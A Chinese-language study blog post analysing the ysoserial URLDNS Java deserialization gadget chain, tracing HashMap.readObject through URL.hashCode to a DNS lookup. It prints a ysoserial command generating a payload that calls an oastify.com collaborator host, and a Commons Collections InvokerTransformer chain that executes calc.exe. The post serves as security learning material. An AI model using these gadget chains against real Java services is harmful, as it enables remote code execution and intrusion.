Ysoserial—URLDNS

Java在序列化时一个对象，将会调用这个对象中的 writeObject 方法，参数类型是 ObjectOutputStream ，开发者可以将任何内容写入这个stream中；

反序列化时，会调用 readObject ，开发者也可以从中读取出前面写入的内容，并进行处理。

序列化代码示例

一个简单的代码，简单实现了一下readObject()方法和writeObject()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63


package com.example.ballet.SerializationTest;  
import java.io.*;  
  
  
public class MainTest implements Serializable{  
	//这个是构造函数，不这样写也可以，就是copy的代码里面这样写的就懒得改了
    private int n;  
    public MainTest(int n) {  
        this.n = n;  
    }  
  
    @Override  
    public String toString(){  
        return "deserialize [n=" + n + " , getClass() = " + getClass() + " , hashcode() = " + hashCode() + " , toString() = " + super.toString() + "]";  
    }  
    
	//自定义readObject方法  
    private void readObject(ObjectInputStream objIn) throws IOException, ClassNotFoundException {  
        objIn.defaultReadObject();  
        //Runtime.getRuntime().exec("calc");  
        System.out.println("TEST");  
    }  
    
	//操作类，包含序列化和反序列化方法
    class operation1{  
		//序列化
        public static void serialize(Object obj) {  
            try {  
                ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("object.bin"));  
                objOut.writeObject(obj);  
                objOut.flush();  
                objOut.close();  
            } catch (FileNotFoundException e) {  
                throw new RuntimeException(e);  
            } catch (IOException e) {  
                throw new RuntimeException(e);  
            }  
        }  
		//反序列化
        public static void deserialize(){  
            try{  
                ObjectInputStream obiIn = new ObjectInputStream(new FileInputStream("object.bin"));  
                Object x = obiIn.readObject();  
                obiIn.close();  
            } catch (FileNotFoundException e) {  
                throw new RuntimeException(e);  
            } catch (IOException e) {  
                throw new RuntimeException(e);  
            } catch (ClassNotFoundException e) {  
                throw new RuntimeException(e);  
            }  
        }  
    }  
  
    public static void main(String[] args) {  
        MainTest x = new MainTest(5);  
        operation1.serialize(x);  
        operation1.deserialize();  
        System.out.printf(x.toString());  
  
    }  
  
}

上述代码只是套皮了一下序列化和反序列化的皮，在改写的readObject中有个Runtime.exec，当反序列化执行到readObject方法的时候就会执行。

后续进行对ysoserial的测试的时候，将Runtime注释掉测试只用到deserialize()方法

1

java -jar ysoserial-all.jar URLDNS http://e7m4ck6e288csewnfwxjwlgbt2ztnlba.oastify.com > poc.bin

这条命令会生成一个序列化过的恶意代码，经过反序列化后执行，向指定的URL进行DNS查询我用的是burpsuite的，所以可以看到如下的结果

urldns 后面的基本也就是这个usage。浏览器里面基本都在关注调用链，只有我在疑惑这个要怎么用。心寒。

不过遇到一个问题 ===invalid stream header: FFFE08E1=== 使用powershell生成的时候，前面几次开头都是Java的AECD，后面几次就变成了错误的开头。

好了现在说调用链，很值得研究的东西一个

调用链

起作用的是最终反序列化且输出结果的方法在URLDNS源代码中这个方法起到了作用：

getObject

1
2
3
4
5
6
7
8


public Object getObject(String url) throws Exception {  
    URLStreamHandler handler = new SilentURLStreamHandler();  
    HashMap ht = new HashMap();  
    URL u = new URL((URL)null, url, handler);  
    ht.put(u, url);  
    Reflections.setFieldValue(u, "hashCode", -1);  
    return ht;  
}

返回的内容是一个HashMap 根据上面的话，HashMap ht这个对象是序列化和反序列化的关键。

readObject

其中HashMap类中有readObject这个方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


@java.io.Serial  
private void readObject(ObjectInputStream s)  
    throws IOException, ClassNotFoundException {  
  
    ObjectInputStream.GetField fields = s.readFields();  
  
    // Read loadFactor (ignore threshold)  
    float lf = fields.get("loadFactor", 0.75f);  
    if (lf <= 0 || Float.isNaN(lf))  
        throw new InvalidObjectException("Illegal load factor: " + lf);  
  
    lf = Math.min(Math.max(0.25f, lf), 4.0f);  
    HashMap.UnsafeHolder.putLoadFactor(this, lf);  
  
    reinitialize();  
  
    s.readInt();                // Read and ignore number of buckets  
    int mappings = s.readInt(); // Read number of mappings (size)  
    if (mappings < 0) {  
        throw new InvalidObjectException("Illegal mappings count: " + mappings);  
    } else if (mappings == 0) {  
        // use defaults  
    } else if (mappings > 0) {  
        float fc = (float)mappings / lf + 1.0f;  
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?  
                   DEFAULT_INITIAL_CAPACITY :  
                   (fc >= MAXIMUM_CAPACITY) ?  
                   MAXIMUM_CAPACITY :  
                   tableSizeFor((int)fc));  
        float ft = (float)cap * lf;  
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?  
                     (int)ft : Integer.MAX_VALUE);  
  
        // Check Map.Entry[].class since it's the nearest public type to  
        // what we're actually creating.        SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);  
        @SuppressWarnings({"rawtypes","unchecked"})  
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];  
        table = tab;  
  
        // Read the keys and values, and put the mappings in the HashMap  
        for (int i = 0; i < mappings; i++) {  
            @SuppressWarnings("unchecked")  
                K key = (K) s.readObject();  
            @SuppressWarnings("unchecked")  
                V value = (V) s.readObject();  
            putVal(hash(key), key, value, false, false);  
        }  
    }  
}

代码的最后几行，作为ObjectInputStream s也调用了readObject()方法，但这不是HashMap的，是ObjectInputStream的

主要作用：Internal method to read an object from the ObjectInputStream of the expected type. Called only from readObject() and readString(). Only Object.class and String.class are supported.

putVal() & hash()

其实查看源代码ht.put(u, url); 这里就会自然而然来到这一步。（在调试过程中readObject确实step into。。。调试有些小问题待解决。。）

put()方法是对于键值对的值的操作

1
2
3


public V put(K key, V value) {  
    return putVal(hash(key), key, value, false, true);  
}

可以看到也是putVal和hash方法结合，不过在putVal的参数上有区别。

顺着下去：

putVal是往HashMap中放入键值对的方法
hash()对key进行处理：

1
2
3
4


static final int hash(Object key) {  
    int h;  
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);  
}

这里可以看到key调用了hashCode()方法，对这个key的理解需要结合实际：

ht.put(u, url);

key是URL实例u，value是String实例url

所以寻找URL类的hashCode方法

1
2
3
4
5
6
7


public synchronized int hashCode() {  
    if (hashCode != -1)  
        return hashCode;  
  
    hashCode = handler.hashCode(this);  
    return hashCode;  
}

handler.hashCode()方法就是进行hash计算。

里面Generate the host part部分通过InetAddress addr = getHostAddress(u); 调用getHostAddress()方法，根据主机名查找IP——DNS查询

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


protected synchronized InetAddress getHostAddress(URL u) {  
    if (u.hostAddress != null)  
        return u.hostAddress;  
  
    String host = u.getHost();  
    if (host == null || host.isEmpty()) {  
        return null;  
    } else {  
        try {  
            u.hostAddress = InetAddress.getByName(host);  
        } catch (UnknownHostException ex) {  
            return null;  
        } catch (SecurityException se) {  
            return null;  
        }  
    }  
    return u.hostAddress;  
}

到这里也就实现了URLDNS。

总结一下

===URLDNS通过getObject方法进行操作===

readObject对序列化内容进行读取
put方法调用putVal和hashCode
1. putVal将readObject读取的内容写入ht
2. hashCode进行hash计算的同时进行了DNS请求

1
2
3
4
5
6


HashMap->readObject() 
HashMap->hash() 
URL->hashCode() 
URLStreamHandler->hashCode() 
URLStreamHandler->getHostAddress() 
InetAddress->getByName(

Java反序列化 — URLDNS利用链分析 - 先知社区 (aliyun.com) 这个比较详细完整，值得看了研究一下。

“链式反应”

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


public static void main(String[] args) throws Exception {  
    Transformer[] transformers = new Transformer[] {  
            new ConstantTransformer(Runtime.class),  
            new InvokerTransformer("getMethod", new Class[] {  
                    String.class, Class[].class }, new Object[] {  
                    "getRuntime", new Class[0] }),  
            new InvokerTransformer("invoke", new Class[] {  
                    Object.class, Object[].class }, new Object[] {  
                    null, new Object[0] }),  
            new InvokerTransformer("exec", new Class[] {  
                    String.class }, new Object[] {"calc.exe"})};  
  
    Transformer transformedChain = new ChainedTransformer(transformers);  
  
    Map innerMap = new hashMap();  
    innerMap.put("value", "value");  
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  
  
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();  
    onlyElement.setValue("foobar");  
  
}

==onlyElement对象的包装过程：==

1
2
3
4
5


graph LR
    A[TransformedMap] -- innerMap + transformedChain --> B[outerMap]
    B --> D{onlyElement}
    C[transformers] -- ChainedTransformer --> E[transformedChain]
    

==触发==

当上面的代码运行到setValue()时，就会触发ChainedTransformer中的一系列变换函数：

首先通过ConstantTransformer获得Runtime类
进一步通过反射调用getMethod找到invoke函数
最后再运行命令calc.exe。

而后面level up的POC使用AnnotationInvocationHandler是因为该类的readObject方法中增加了关于触发条件setValue的调用。也就是说，之前需要通过调用Map对象的setValue方法，现在在readObject方法中就有该方法，在进行序列化时，就会触发setValue方法，进而触发transform变换。